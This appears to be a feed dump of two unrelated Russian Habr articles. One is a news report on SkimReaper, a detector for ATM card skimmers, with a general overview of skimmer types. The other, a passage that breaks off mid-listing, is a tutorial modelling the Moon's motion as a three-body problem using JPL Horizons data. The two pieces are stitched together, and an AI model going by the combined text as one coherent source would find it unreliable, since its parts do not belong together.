Специалисты по кибербезопасности научились обнаруживать скиммеры для кредитных карт


Так выглядит антискиммер, разработанный представителями Флоридского университета

Исследователь из Флоридского университета на USENIX Security Symposium представил результаты своего масштабного проекта по разработке систем детектирования скиммеров. Речь идет о шпионских считывателях для кредитных карт, которые клиенты банков используют для снятия средств в банкоматах и расчетов в магазинах.

Разновидностей скиммеров большое количество, многие из них обнаружить практически невозможно даже специалисту по таким устройствам. Маскируются они своими создателями просто мастерски, кроме того, скимеры — DIY-устройства, единого стандарта у них, естественно нет, что еще более усложняет их поиск. Так вот, эксперт, о котором шла речь, разработал устройство SkimReaper, позволяющее обнаруживать установленные скиммеры.

Разработчики устройства получили доступ к базам данных полиции, в которых содержалась информация о типах скиммеров, используемых киберпреступниками. Кроме того, исследователи изучали скиммеры и вживую, что позволило получить огромное количество информации о принципах их работы и способах взаимодействия шпионских устройств с банкоматами и картами клиентов банков.

В принципе, никаких сюрпризов не было — данные о скиммерах не являются чем-то секретным, описания, фотографии и описания принципа их работы можно найти без проблем в сети. Всего устройства такого типа разделяются на четыре категории.

Накладные — те, что размещаются поверх слотов ввода карт банкоматов или в других местах поверх корпуса банкомата. В некоторых случаях используются накладные клавиатуры. Есть и более редкая разновидность сканеров кредиток — те, что размещаются на терминалах продаж в магазинах. Но это скорее исключение, чем правило — риски для злоумышленников велики, а шанс быть пойманными высок.

Внутренние — те, что располагаются в самих слотах для считывания карт или каким-то образом размещаются еще глубже в электронном устройстве. В некоторых случаях злоумышленники просверливают отверстия в нужном месте, размещая в корпусе скиммер и подключая его к инфраструктуре общей системы. Есть и разновидность устройств, которые считывают характеристики транзакций — их умельцы подключают к электронной начинке банкомата.

Сетевые скиммеры — их располагают в сетевом оборудовании, к которому подключается банкомат. Если сотрудники банка или другой организации, где расположен банкомат, достаточно неосторожны, это не так сложно сделать.

Другие разновидности — среди них есть как экзотические, которые располагаются, например, в дверях банков, так и вполне обычные, которые просто выглядят и действуют не так, как прочие системы подобного рода.

Чаще всего преступники используют накладные и внутренние разновидности скиммеров — дело в том, что их сложно обнаружить. К слову, скиммер — это еще не все, злоумышленникам часто нужны и пинкоды клиентов банков. Их преступники получают при помощи миниатюрных видеокамер, которые размещаются где-то рядом с банкоматом или на нем же, в незаметном месте. Понятно, что и камеры тоже маскируются, чтобы их нельзя было заметить.

Так вот, SkimReaper, устройство для борьбы со скиммерами, предназначено для работы с накладными и внутренними системами. Схема девайса содержит сенсор, способный определить изменения магнитного поля, которые возникают во время считывания карты. Как правило, банкомат считывает карту один раз. Если же SkimReaper определяет два и больше неожиданных изменений конфигурации магнитного поля, то устройство сигнализирует об обнаружении скиммера.

Все это — не теория, а практика, гаджет был протестирован при проверке ряда банкоматов. Рейды проводились с офицерами полиции Нью-Йорка, которые помогали регистрировать нарушения и в оперативном режиме ликвидировать скиммеры. Как оказалось, КПД SkimReaper составляет около 100%. Сейчас полицейские начинают активно использовать предоставленные исследователями устройства для обнаружения скиммеров. Разработчики антискиммеров говорят, что спрос со стороны полиции настолько велик, что они просто не успевают их производить.

Но как бы там ни было, а плюсов от использования такой системы огромное количество. Дело в том, что если выявлять скиммеры в оперативном режиме, почти сразу после установки, то у преступников может не хватить времени или ресурсов для создания новых устройств. Это высокотехнологичные устройства, которые работают по сложным алгоритмам и имеют довольно необычную конструкцию. Воссоздать изъятый девайс в оперативном режиме не всегда получается, так что хакеры остаются не удел.

Надо думать, что с увеличением популярности скиммеров преступники значительно снизят активность. С другой стороны, могут быть созданы устройства нового типа, которые научатся обманывать SkimReaper.


ссылка на оригинал статьи https://habr.com/post/420443/

Моделирование динамических систем: Как движется Луна?

Светлой памяти моего учителя — первого декана физико-математического факультета Новочеркасского политехнического института, заведующего кафедрой «Теоретическая механика» Кабелькова Александра Николаевича

Введение

Август, лето подходит к концу. Народ яростно рванул на моря, да оно и неудивительно — самый сезон. А на хабре, тем временем, буйным цветом распускается и пахнет лженаука. Если говорить о теме данного выпуска «Моделирования…», то в нем мы совместим приятное с полезным — продолжим обещанный цикл и совсем чуть-чуть поборемся с этой самой лженаукой за пытливые умы современной молодежи.

А вопрос ведь действительной не праздный — со школьных лет мы привыкли считать, что наш ближайший спутник в космическом пространстве — Луна движется вокруг Земли с периодом 29,5 суток, особенно не вдаваясь в сопутствующие подробности. На самом же деле наша соседка своеобразный и в какой-то степени уникальный астрономический объект, с движением которого вокруг Земли не всё так просто, как, возможно хотелось бы некоторым моим коллегам из ближайшего зарубежья.

Итак, оставив полемику в стороне, попытаемся с разных сторон, в меру своей компетенции, рассмотреть эту безусловно красивую, интересную и очень показательную задачу.

1. Закон всемирного тяготения и какие выводы мы можем из него сделать

Открытый ещё во второй половине 17 века, сэром Исааком Ньютоном, закон всемирного тяготения говорит о том, что Луна притягивается к Земле (и Земля к Луне!) с силой, направленной вдоль прямой, соединяющей центры рассматриваемых небесных тел, и равной по модулю

$F_{1,2} = G \, \frac{m_1 \, m_2}{r_{1,2}^2} $

где m1, m2 — массы, соответственно Луны и Земли; G = 6,67e-11 — гравитационная постоянная; r1,2 — расстояние между центрами Луны и Земли. Если принимать во внимание только эту силу, то, решив задачу о движении Луны как спутника Земли и научившись рассчитывать положение Луны на небе на фоне звезд, мы довольно скоро убедимся, путем прямых измерений экваториальных координат Луны, что в нашей консерватории не всё так гладко как хотелось бы. И дело здесь не в законе всемирного тяготения (а на ранних этапах развития небесной механики такие мысли высказывались весьма нередко), а в неучтенном возмущении движения Луны со стороны других тел. Каких? Смотрим на небо и наш взгляд сразу упирается в здоровенный, массой аж 1,99e30 килограмм плазменный шар прямо у нас под носом — Солнце. Луна притягивается к Солнцу? Ещё как, с силой, равной по модулю

$F_{1,3} = G \, \frac{m_1 \, m_3}{r_{1,3}^2} $

где m3 — масса Солнца; r1,3 — расстояние от Луны до Солнца. Сравним эту силу с предыдущей

$\frac{F_{1,3}}{F_{1,2}} = \frac{G \, \frac{m_1 \, m_3}{r_{1,3}^2}}{G \, \frac{m_1 \, m_2}{r_{1,2}^2}} = \frac{m_3}{m_2} \, \left(\frac{r_{1,2}}{r_{1,3}}\right)^2$

Возьмем положение тел, в котором притяжение Луны к Солнцу будет минимальным: все три тела на одной прямой и Земля располагается между Луной и Солнцем. В этом случае наша формула примет вид:

$\frac{F_{1,3}}{F_{1,2}} = \frac{m_3}{m_2} \, \left(\frac{\rho}{a + \rho}\right)^2$

где

$\rho = 3,844 \cdot 10^{8}$

, м — среднее расстояние от Земли до Луны;

$a = 1,496\cdot10^{11}$

, м — среднее расстояние от Земли до Солнца. Подставим в эту формулу реальные параметры

$\frac{F_{1,3}}{F_{1,2}} = \frac{1.99 \cdot 10^{30}}{5.98\cdot10^{24}} \, \left( \frac{3.844\cdot10^{8}}{1.496\cdot10^{11} + 3.844\cdot10^{8}}\right)^2 = 2.19$

Вот это номер! Получается Луна притягивается к Солнцу силой, более чем в два раза превышающей силу её притяжения к Земле.

Подобное возмущение уже нельзя не учитывать и оно определенно повлияет на конечную траекторию движения Луны. Пойдем дальше, принимая во внимание допущение о том, что орбита Земли круговая с радиусом a, найдем геометрическое место точек вокруг Земли, где сила притяжения любого объекта к Земле равна силе его притяжения к Солнцу. Это будет сфера, с радиусом

$R = \frac{a \, \sqrt{\gamma}}{1 - \gamma}$

смещенная вдоль прямой, соединяющей Землю и Солнце в сторону противоположенную направлению на Солнце на расстояние

$l = R \, \sqrt{\gamma}$

где

$\gamma = m_2 / m_3 $

— отношение массы Земли к массе Солнца. Подставив численные значения параметров получим фактические размеры данной области: R = 259300 километров, и l = 450 километров. Эта сфера носит название сферы тяготения Земли относительно Солнца.

Известная нам орбита Луны лежит вне этой области. То есть в любой точке траектории Луна испытывает со стороны Солнца существенно большее притяжение, чем со стороны Земли.

2. Спутник или планета? Гравитационная сфера действия

Эта информация, часто порождает споры, о том, что Луна не спутник Земли, а самостоятельная планета Солнечной системы, орбита которой возмущена притяжением близкой Земли.

Оценим возмущение, вносимое Солнцем в траекторию Луны относительно Земли, а так же возмущение, вносимое Землей в траекторию Луны относительно Солнца, воспользовавшись критерием, предложенным П. Лапласом. Рассмотрим три тела: Солнце (S), Землю (E) и Луну (M).
Примем допущение, что орбиты Земли относительно Солнца и Луны относительно Земли являются круговыми.

Рассмотрим движение Луны в геоцентрической инерциальной системе отсчета. Абсолютное ускорение Луны в гелиоцентрической системе отсчета определяется действующими на неё силами тяготения и равно:

$\vec a_1 = \vec a_1^{(3)} + \vec a_1^{(2)} = \frac{1}{m_1} \, \vec F_{1,3} + \frac{1}{m_1} \, \vec F_{1,2}$

С другой стороны, в соответствии с теоремой Кориолиса, абсолютное ускорение Луны

$\vec a_1 = \vec a_2 + \vec a_{1,2}$

где

$\vec a_2$

— переносное ускорение, равное ускорению Земли относительно Солнца;

$\vec a_{1,2}$

— ускорение Луны относительно Земли. Ускорения Кориолиса здесь не будет — выбранная нами система координат движется поступательно. Отсюда получаем ускорение Луны относительно Земли

$\vec a_{1,2} = \frac{1}{m_1} \, \vec F_{1,3} + \frac{1}{m_1} \, \vec F_{1,2} - \vec a_2$

Часть этого ускорения, равная

$ \vec a_1^{(2)} = \frac{1}{m_1} \, \vec F_{1,2}$

обусловлена притяжением Луны к Земле и характеризует её невозмущенное геоцентрическое движение. Оставшаяся часть

$\Delta \vec a_{1,3} = \frac{1}{m_1} \, \vec F_{1,3} - \vec a_2$

ускорение Луны, вызванное возмущением со стороны Солнца.

Если рассматривать движение Луны в гелиоцентрической инерциальной системе отсчета, то всё намного проще, ускорение

$\vec a_1^{(3)} = \frac{1}{m_1} \, \vec F_{1,3} $

характеризует невозмущенное гелиоцентрическое движение Луны, а ускорение

$\Delta \vec a_{1,2} = \frac{1}{m_1} \, \vec F_{1,2} $

— возмущение этого движения со стороны Земли.

При существующих в текущую эпоху параметрах орбит Земли и Луны, в каждой точке траектории Луны справедливо неравенство

$\frac{|\Delta \vec a_{1,3}|}{|\vec a_{1}^{(2)}|} < \frac{|\Delta \vec a_{1,2}|}{|\vec a_{1}^{(3)}|}\quad\quad(1) $

что можно проверить и непосредственным вычислением, но я сошлюсь на источник, дабы излишне не загромождать статью.

Что означает неравенство (1)? Да то, что в относительном выражении эффект от возмущения Луны Солнцем (причем очень существенно) меньше эффекта от притяжения Луны к Земле. И наоборот, возмущение Землей геолиоцентрической траектории Луны оказывает решающее влияние на характер её движения. Влияние земной гравитации в данном случае более существенно, а значит Луна «принадлежит» Земле по праву и является её спутником.

Интересным является другое — превратив неравенство (1) в уравнение можно найти геометрическое место точек, где эффекты возмущения Луны (да и любого другого тела) Землей и Солнцем одинаковы. К сожалению это у же не так просто, как в случае со сферой тяготения. Расчеты показывают, что данная поверхность описывается уравнением сумасшедшего порядка, но близка к эллипсоиду вращения. Всё что мы может сделать без лишних заморочек, это оценить общие габариты этой поверхности относительно центра Земли. Решая численно уравнение

$\frac{|\Delta \vec a_{1,3}|}{|\vec a_{1}^{(2)}|} = \frac{|\Delta \vec a_{1,2}|}{|\vec a_{1}^{(3)}|}\quad\quad(2) $

относительно расстояния от центра Земли до искомой поверхности на достаточном количестве точек, получаем сечение искомой поверхности плоскостью эклиптики

Для наглядности здесь показаны и геоцентрическая орбита Луны и, найденная нами выше сфера тяготения Земли относительно Солнца. Из рисунка видно, что сфера влияния, или сфера гравитационного действия Земли относительно Солнца есть поверхность вращения относительно оси X, сплющенная вдоль прямой, соединяющей Землю и Солнце (вдоль оси затмений). Орбита Луны находится глубоко внутри этой воображаемой поверхности.

Для практических расчетов данную поверхность удобно аппроксимировать сферой с центром в центра Земли и радиусом равным

$r = a \, \left(\frac{m}{M} \right)^{\frac{2}{5}}\quad\quad(3)$

где m — масса меньшего небесного тела; M — масса большего тела, в поле тяготения которого движется меньшее тело; a — расстояние между центрами тел. В нашем случае

$r = a \, \left(\frac{m_2}{m_3} \right)^{\frac{2}{5}} = 1.496\cdot10^{11} \, \left(\frac{5.98\cdot10^{24}}{1.99\cdot10^{30}} \right)^{\frac{2}{5}} = 925000,\, км$

Вот этот недоделанный миллион километров и есть тот теоретический предел, за который власть старушки Земли не распространяется — её влияние на траектории астрономических объектов настолько мало, что им можно пренебречь. А значит, запустить Луну по круговой орбите на расстоянии 38,4 млн. километров от Земли (как делают некоторые лингвисты) не получится, это физически невозможно.

Эта сфера, для сравнения, показана на рисунке синей пунктирной линией. При оценочных расчетах принято считать, что тело, находящееся внутри данной сферы будет испытывать тяготение исключительно со стороны Земли. Если тело находится снаружи данной сферы — считаем что тело движется в поле тяготения Солнца. В практической космонавтике известен метод сопряжения конических сечений, позволяющий приближенно рассчитать траекторию космического аппарата, используя решение задачи двух тел. При этом всё пространство, которое преодолевает аппарат разбивается на подобные сферы влияния.

Например, теперь понятно, для того чтобы иметь теоретическую возможность совершить маневры для выхода на окололунную орбиту, космический аппарат должен попасть внутрь сферы действия Луны относительно Земли. Её радиус легко рассчитать по формуле (3) и он равен 66 тысяч километров.

Таким образом, Луна справедливо может считаться спутником Земли. Однако, ввиду существенно влияния гравитационного поля Солнца она движется не в центральном гравитационном поле, а значит её траектория не является коническим сечением.

3. Задача трех тел в классической постановке

Итак, рассмотрим модельную задачу в общей постановке, известную в небесной механике как задача трех тел. Рассмотрим три тела произвольной массы, расположенных произвольным образом в пространстве и движущихся исключительно под действием сил взаимного гравитационного притяжения

Тела считаем материальными точками. Положение тел будем отсчитывать в произвольном базисе, с которым связана инерциальная система отсчета Oxyz. Положение каждого из тел задается радиус-вектором соответственно

$\vec r_1$

,

$\vec r_2$

и

$\vec r_3$

. На каждое тело действует сила гравитационного притяжения со стороны двух других тел, причем в соответствии с третьей аксиомой динамики точки (3-й закон Ньютона)

$\vec F_{i,j} = -\vec F_{j,i}\quad\quad(4)$

Запишем дифференциальные уравнения движения каждой точки в векторной форме

$\begin{align} & m_1 \, \frac{d^2 \vec r_1}{dt^2} = \vec F_{1,2} + \vec F_{1,3} \\ & m_2 \, \frac{d^2 \vec r_2}{dt^2} = \vec F_{2,1} + \vec F_{2,3} \\ & m_3 \, \frac{d^2 \vec r_3}{dt^2} = \vec F_{3,1} + \vec F_{3,2} \end{align}$

или, с учетом (4)

$\begin{align} & m_1 \, \frac{d^2 \vec r_1}{dt^2} = \vec F_{1,2} + \vec F_{1,3} \\ & m_2 \, \frac{d^2 \vec r_2}{dt^2} = -\vec F_{1,2} + \vec F_{2,3} \\ & m_3 \, \frac{d^2 \vec r_3}{dt^2} = -\vec F_{1,3} - \vec F_{2,3} \end{align}$

В соответствии с законом всемирного тяготения, силы взаимодействия направлены вдоль векторов

$\begin{align} & \vec r_{1,2} = \vec r_2 - \vec r_1 \\ & \vec r_{1,3} = \vec r_3 - \vec r_1 \\ & \vec r_{2,3} = \vec r_3 - \vec r_2 \\ \end{align}$

Вдоль каждого из этих векторов выпустим соответствующий орт

$\vec e_{i,j} = \frac{1}{r_{i,j}} \, \vec r_{i,j}$

тогда каждая из гравитационных сил рассчитывается по формуле

$\vec F_{i,j} = G\,\frac{m_i \, m_j}{r_{i,j}^2}\,\vec e_{i,j}$

С учетом всего этого система уравнений движения принимает вид

$\begin{align} & \frac{d^2 \vec r_1}{dt^2} = \frac{G\,m_2}{r_{1,2}^3} \, \vec r_{1,2} + \frac{G\,m_3}{r_{1,3}^3} \, \vec r_{1,3} \\ & \frac{d^2 \vec r_2}{dt^2} = -\frac{G\,m_1}{r_{1,2}^3} \, \vec r_{1,2} + \frac{G\,m_3}{r_{2,3}^3} \, \vec r_{2,3} \\ & \frac{d^2 \vec r_3}{dt^2} = -\frac{G\,m_1}{r_{1,3}^3} \, \vec r_{1,3} - \frac{G\,m_2}{r_{2,3}^3} \, \vec r_{2,3} \end{align}$

Введем обозначение, принятое в небесной механике

$\mu_i = G\,m_i$

— гравитационный параметр притягивающего центра. Тогда уравнения движения примут окончательный векторный вид

$\begin{align} & \frac{d^2 \vec r_1}{dt^2} = \frac{\mu_2}{r_{1,2}^3} \, \vec r_{1,2} + \frac{\mu_3}{r_{1,3}^3} \, \vec r_{1,3} \\ & \frac{d^2 \vec r_2}{dt^2} = -\frac{\mu_1}{r_{1,2}^3} \, \vec r_{1,2} + \frac{\mu_3}{r_{2,3}^3} \, \vec r_{2,3} \\ & \frac{d^2 \vec r_3}{dt^2} = -\frac{\mu_1}{r_{1,3}^3} \, \vec r_{1,3} - \frac{\mu_2}{r_{2,3}^3} \, \vec r_{2,3} \end{align}$

4. Нормирование уравнений к безразмерным переменным

Довольно популярным приемом при математическом моделировании является приведение дифференциальных уравнений и прочих соотношений, описывающих процесс, к безразмерным фазовым координатам и безразмерному времени. Нормируются так же и другие параметры. Это позволяет рассматривать, хоть и с применением численного моделирования, но в достаточно общем виде целый класс типовых задач. Вопрос о том, насколько это оправдано в каждой решаемой задаче оставляю открытым, но соглашусь, что в данном случае такой подход вполне справедлив.

Итак, введем некое абстрактное небесное тело с гравитационным параметром

$\mu$

, такое, что период обращения спутника по эллиптической орбите с большой полуосью

$a$

вокруг него равен

$T$

. Все эти величины, в силу законов механики, связаны соотношением

$T = 2\,\pi\,\left(\frac{a^3}{\mu}\right)^{\frac{1}{2}}$

Введем замену параметров. Для положения точек нашей системы

$\vec r_i = a \, \vec\xi_i$

где

$\vec\xi_i$

— безразмерный радиус-вектор i-й точки;
для гравитационных параметров тел

$\mu_i = \varkappa_i \, \mu$

где

$\varkappa_i$

— безразмерный гравитационный параметр i-й точки;
для времени

$t = T \, \tau$

где

$\tau$

— безразмерное время.

Теперь пересчитаем ускорения точек системы через эти безразмерные параметры. Применим прямое двукратное дифференцирование по времени. Для скоростей

$\vec v_i = \frac{d \vec r_i}{dt} = a \, \frac{d\vec\xi_i}{dt}=\frac{a}{T} \, \frac{d\vec\xi_i}{d\tau}=\frac{1}{2\,\pi} \, \sqrt{\frac{\mu}{a}}\,\frac{d\vec\xi_i}{d\tau}.$

Для ускорений

$\vec a_i = \frac{d\vec v_i}{dt} = \frac{1}{2\,\pi} \, \sqrt{\frac{\mu}{a}}\,\frac{1}{dt} \left(\frac{d\vec\xi_i}{d\tau}\right) = \frac{1}{4\,\pi^2} \, \frac{\mu}{a^2}\,\frac{d^2\vec \xi_i}{d\tau^2}$

При подстановке полученных соотношений в уравнения движения всё элегантно схлопывается в красивые уравнения:

$\begin{align} &\frac{d^2 \vec\xi_1}{d\tau^2} = 4\,\pi^2 \, \varkappa_2\,\frac{\vec \xi_2 - \vec \xi_1}{|\vec \xi_2 - \vec \xi_1|^3} + 4\,\pi^2 \, \varkappa_3\,\frac{\vec \xi_3 - \vec \xi_1}{|\vec \xi_3 - \vec \xi_1|^3}\\ & \frac{d^2 \vec\xi_2}{d\tau^2} = -4\,\pi^2 \, \varkappa_1\,\frac{\vec \xi_2 - \vec \xi_1}{|\vec \xi_2 - \vec \xi_1|^3} + 4\,\pi^2 \, \varkappa_3\,\frac{\vec \xi_3 - \vec \xi_2}{|\vec \xi_3 - \vec \xi_2|^3}\quad\quad(5) \\ & \frac{d^2 \vec\xi_3}{d\tau^2} = -4\,\pi^2 \, \varkappa_1\,\frac{\vec \xi_3 - \vec \xi_1}{|\vec \xi_3 - \vec \xi_1|^3} - 4\,\pi^2 \, \varkappa_2\,\frac{\vec \xi_3 - \vec \xi_2}{|\vec \xi_3 - \vec \xi_2|^3} \end{align}$

Данная система уравнений до сих пор считается не интегрируемой в аналитических функциях. Почему считается а не является? Потому что успехи теории функции комплексного переменного привели к тому, что общее решение задачи трех тел таки появилось в 1912 году — Карлом Зундманом был найден алгоритм отыскания коэффициентов для бесконечных рядов относительно комплексного параметра, теоретически являющихся общим решением задачи трех тел. Но… для применения рядов Зундмана в практических расчетах с требуемой для них точностью требует получения такого числа членов этих рядов, что эта задача во много превосходит возможности вычислительных машин даже на сегодняшний день.

Поэтому численное интегрирование — единственный способ анализа решения уравнения (5)

5. Расчет начальных условий: добываем исходные данные

Как я уже писал ранее, прежде чем начинать численное интегрирование, следует озаботится расчетом начальных условий для решаемой задачи. В рассматриваемой задаче поиск начальных условий превращается в самостоятельную подзадачу, так как система (5) дает нам девять скалярных уравнений второго порядка, что при переходе к нормальной форме Коши повышает порядок системы ещё в 2 раза. То есть нам необходимо рассчитать целых 18 параметров — начальные положения и компоненты начальной скорости всех точек системы. Где мы возьмем данные о положении интересующих нас небесных тел? Мы живем в мире, где человек ходил по Луне — естественно человечество должно обладать информацией, как эта самая Луна движется и где она находится.

То есть, скажете вы, ты, чувак, предлагаешь нам взять с полок толстые астрономические справочники, сдуть с них пыль… Не угадали! Я предлагаю сходить за этими данными к тем, кто собственно ходил по Луне, к NASA, а именно в Лабораторию реактивного движения, Пасадена, штат Калифорния. Вот сюда — JPL Horizonts web interface.

Здесь, потратив немного времени на изучение интерфейса, мы добудем все необходимые нам данные. Выберем дату, например, да нам всё равно, но пусть это будет 27 июля 2018 года UT 20:21. Как раз в этот момент наблюдалась полная фаза лунного затмения. Программа выдаст нам огромную портянку

Полный вывод для эфемерид Луны на 27.07.2018 20:21 (начало координат в центре Земли)

*******************************************************************************
Revised: Jul 31, 2013 Moon / (Earth) 301

GEOPHYSICAL DATA (updated 2018-Aug-13):
Vol. Mean Radius, km = 1737.53+-0.03 Mass, x10^22 kg = 7.349
Radius (gravity), km = 1738.0 Surface emissivity = 0.92
Radius (IAU), km = 1737.4 GM, km^3/s^2 = 4902.800066
Density, g/cm^3 = 3.3437 GM 1-sigma, km^3/s^2 = +-0.0001
V(1,0) = +0.21 Surface accel., m/s^2 = 1.62
Earth/Moon mass ratio = 81.3005690769 Farside crust. thick. = ~80 - 90 km
Mean crustal density = 2.97+-.07 g/cm^3 Nearside crust. thick.= 58+-8 km
Heat flow, Apollo 15 = 3.1+-.6 mW/m^2 k2 = 0.024059
Heat flow, Apollo 17 = 2.2+-.5 mW/m^2 Rot. Rate, rad/s = 0.0000026617
Geometric Albedo = 0.12

Mean angular diameter = 31'05.2" Orbit period = 27.321582 d
Obliquity to orbit = 6.67 deg Eccentricity = 0.05490
Semi-major axis, a = 384400 km Inclination = 5.145 deg
Mean motion, rad/s = 2.6616995x10^-6 Nodal period = 6798.38 d
Apsidal period = 3231.50 d Mom. of inertia C/MR^2= 0.393142
beta (C-A/B), x10^-4 = 6.310213 gamma (B-A/C), x10^-4 = 2.277317

Perihelion Aphelion Mean
Solar Constant (W/m^2) 1414+-7 1323+-7 1368+-7
Maximum Planetary IR (W/m^2) 1314 1226 1268
Minimum Planetary IR (W/m^2) 5.2 5.2 5.2
*******************************************************************************

*******************************************************************************
Ephemeris / WWW_USER Wed Aug 15 20:45:05 2018 Pasadena, USA / Horizons
*******************************************************************************
Target body name: Moon (301) {source: DE431mx}
Center body name: Earth (399) {source: DE431mx}
Center-site name: BODY CENTER
*******************************************************************************
Start time : A.D. 2018-Jul-27 20:21:00.0003 TDB
Stop time : A.D. 2018-Jul-28 20:21:00.0003 TDB
Step-size : 0 steps
*******************************************************************************
Center geodetic : 0.00000000,0.00000000,0.0000000 {E-lon(deg),Lat(deg),Alt(km)}
Center cylindric: 0.00000000,0.00000000,0.0000000 {E-lon(deg),Dxy(km),Dz(km)}
Center radii : 6378.1 x 6378.1 x 6356.8 km {Equator, meridian, pole}
Output units : AU-D
Output type : GEOMETRIC cartesian states
Output format : 3 (position, velocity, LT, range, range-rate)
Reference frame : ICRF/J2000.0
Coordinate systm: Ecliptic and Mean Equinox of Reference Epoch
*******************************************************************************
JDTDB
X Y Z
VX VY VZ
LT RG RR
*******************************************************************************
$$SOE
2458327.347916670 = A.D. 2018-Jul-27 20:21:00.0003 TDB
X = 1.537109094089627E-03 Y =-2.237488447258137E-03 Z = 5.112037386426180E-06
VX= 4.593816208618667E-04 VY= 3.187527302531735E-04 VZ=-5.183707711777675E-05
LT= 1.567825598846416E-05 RG= 2.714605874095336E-03 RR=-2.707898607099066E-06
$$EOE
*******************************************************************************
Coordinate system description:

Ecliptic and Mean Equinox of Reference Epoch

Reference epoch: J2000.0
XY-plane: plane of the Earth's orbit at the reference epoch
Note: obliquity of 84381.448 arcseconds wrt ICRF equator (IAU76)
X-axis : out along ascending node of instantaneous plane of the Earth's
orbit and the Earth's mean equator at the reference epoch
Z-axis : perpendicular to the xy-plane in the directional (+ or -) sense
of Earth's north pole at the reference epoch.

Symbol meaning [1 au= 149597870.700 km, 1 day= 86400.0 s]:

JDTDB Julian Day Number, Barycentric Dynamical Time
X X-component of position vector (au)
Y Y-component of position vector (au)
Z Z-component of position vector (au)
VX X-component of velocity vector (au/day)
VY Y-component of velocity vector (au/day)
VZ Z-component of velocity vector (au/day)
LT One-way down-leg Newtonian light-time (day)
RG Range; distance from coordinate center (au)
RR Range-rate; radial velocity wrt coord. center (au/day)

Geometric states/elements have no aberrations applied.

Computations by ...
Solar System Dynamics Group, Horizons On-Line Ephemeris System
4800 Oak Grove Drive, Jet Propulsion Laboratory
Pasadena, CA 91109 USA
Information: http://ssd.jpl.nasa.gov/
Connect : telnet://ssd.jpl.nasa.gov:6775 (via browser)
http://ssd.jpl.nasa.gov/?horizons
telnet ssd.jpl.nasa.gov 6775 (via command-line)
Author : Jon.D.Giorgini@jpl.nasa.gov
*******************************************************************************

Бр-р-р, что это? Без паники, для того, кто хорошо учил в школе астрономию, механику и математику тут боятся нечего. Итак, самое главное конечное искомые координаты и компоненты скорости Луны

$$SOE
2458327.347916670 = A.D. 2018-Jul-27 20:21:00.0003 TDB
X = 1.537109094089627E-03 Y =-2.237488447258137E-03 Z = 5.112037386426180E-06
VX= 4.593816208618667E-04 VY= 3.187527302531735E-04 VZ=-5.183707711777675E-05
LT= 1.567825598846416E-05 RG= 2.714605874095336E-03 RR=-2.707898607099066E-06
$$EOE

Да-да-да, они декартовы! Если внимательно прочесть всю портянку, то мы узнаем, что начало этой системы координат совпадает с центром Земли. Плоскость XY лежит в плоскости земной орбиты (плоскости эклиптики) на эпоху J2000. Ось X направлена вдоль линии пересечения плоскости экватора Земли и эклиптики в точку весеннего равноденствия. Ось Z смотрит в направлении северного полюса Земли перпендикулярно плоскости эклиптики. Ну а ось Y дополняет всё это счастье до правой тройки векторов. По-умолчанию единицы измерения координат: астрономические единицы (умнички из NASA приводят и величину автрономической единицы в километрах). Единицы измерения скорости: астрономические единицы в день, день принимается равным 86400 секундам. Полный фарш!

Аналогичную информацию мы можем получить и для Земли

Полный вывод эфемерид Земли на 27.07.2018 20:21 (начало координат в центре масс Солнечной системы)

*******************************************************************************
Revised: Jul 31, 2013 Earth 399

GEOPHYSICAL PROPERTIES (revised Aug 13, 2018):
Vol. Mean Radius (km) = 6371.01+-0.02 Mass x10^24 (kg)= 5.97219+-0.0006
Equ. radius, km = 6378.137 Mass layers:
Polar axis, km = 6356.752 Atmos = 5.1 x 10^18 kg
Flattening = 1/298.257223563 oceans = 1.4 x 10^21 kg
Density, g/cm^3 = 5.51 crust = 2.6 x 10^22 kg
J2 (IERS 2010) = 0.00108262545 mantle = 4.043 x 10^24 kg
g_p, m/s^2 (polar) = 9.8321863685 outer core = 1.835 x 10^24 kg
g_e, m/s^2 (equatorial) = 9.7803267715 inner core = 9.675 x 10^22 kg
g_o, m/s^2 = 9.82022 Fluid core rad = 3480 km
GM, km^3/s^2 = 398600.435436 Inner core rad = 1215 km
GM 1-sigma, km^3/s^2 = 0.0014 Escape velocity = 11.186 km/s
Rot. Rate (rad/s) = 0.00007292115 Surface Area:
Mean sidereal day, hr = 23.9344695944 land = 1.48 x 10^8 km
Mean solar day 2000.0, s = 86400.002 sea = 3.62 x 10^8 km
Mean solar day 1820.0, s = 86400.0
Moment of inertia = 0.3308 Love no., k2 = 0.299
Mean Temperature, K = 270 Atm. pressure = 1.0 bar
Vis. mag. V(1,0) = -3.86 Volume, km^3 = 1.08321 x 10^12
Geometric Albedo = 0.367 Magnetic moment = 0.61 gauss Rp^3
Solar Constant (W/m^2) = 1367.6 (mean), 1414 (perihelion), 1322 (aphelion)

ORBIT CHARACTERISTICS:
Obliquity to orbit, deg = 23.4392911 Sidereal orb period = 1.0000174 y
Orbital speed, km/s = 29.79 Sidereal orb period = 365.25636 d
Mean daily motion, deg/d = 0.9856474 Hill's sphere radius = 234.9
*******************************************************************************

*******************************************************************************
Ephemeris / WWW_USER Wed Aug 15 21:16:21 2018 Pasadena, USA / Horizons
*******************************************************************************
Target body name: Earth (399) {source: DE431mx}
Center body name: Solar System Barycenter (0) {source: DE431mx}
Center-site name: BODY CENTER
*******************************************************************************
Start time : A.D. 2018-Jul-27 20:21:00.0003 TDB
Stop time : A.D. 2018-Jul-28 20:21:00.0003 TDB
Step-size : 0 steps
*******************************************************************************
Center geodetic : 0.00000000,0.00000000,0.0000000 {E-lon(deg),Lat(deg),Alt(km)}
Center cylindric: 0.00000000,0.00000000,0.0000000 {E-lon(deg),Dxy(km),Dz(km)}
Center radii : (undefined)
Output units : AU-D
Output type : GEOMETRIC cartesian states
Output format : 3 (position, velocity, LT, range, range-rate)
Reference frame : ICRF/J2000.0
Coordinate systm: Ecliptic and Mean Equinox of Reference Epoch
*******************************************************************************
JDTDB
X Y Z
VX VY VZ
LT RG RR
*******************************************************************************
$$SOE
2458327.347916670 = A.D. 2018-Jul-27 20:21:00.0003 TDB
X = 5.755663665315949E-01 Y =-8.298818915224488E-01 Z =-5.366994499016168E-05
VX= 1.388633512282171E-02 VY= 9.678934168415631E-03 VZ= 3.429889230737491E-07
LT= 5.832932117417083E-03 RG= 1.009940888883960E+00 RR=-3.947237246302148E-05
$$EOE
*******************************************************************************
Coordinate system description:

Ecliptic and Mean Equinox of Reference Epoch

Reference epoch: J2000.0
XY-plane: plane of the Earth's orbit at the reference epoch
Note: obliquity of 84381.448 arcseconds wrt ICRF equator (IAU76)
X-axis : out along ascending node of instantaneous plane of the Earth's
orbit and the Earth's mean equator at the reference epoch
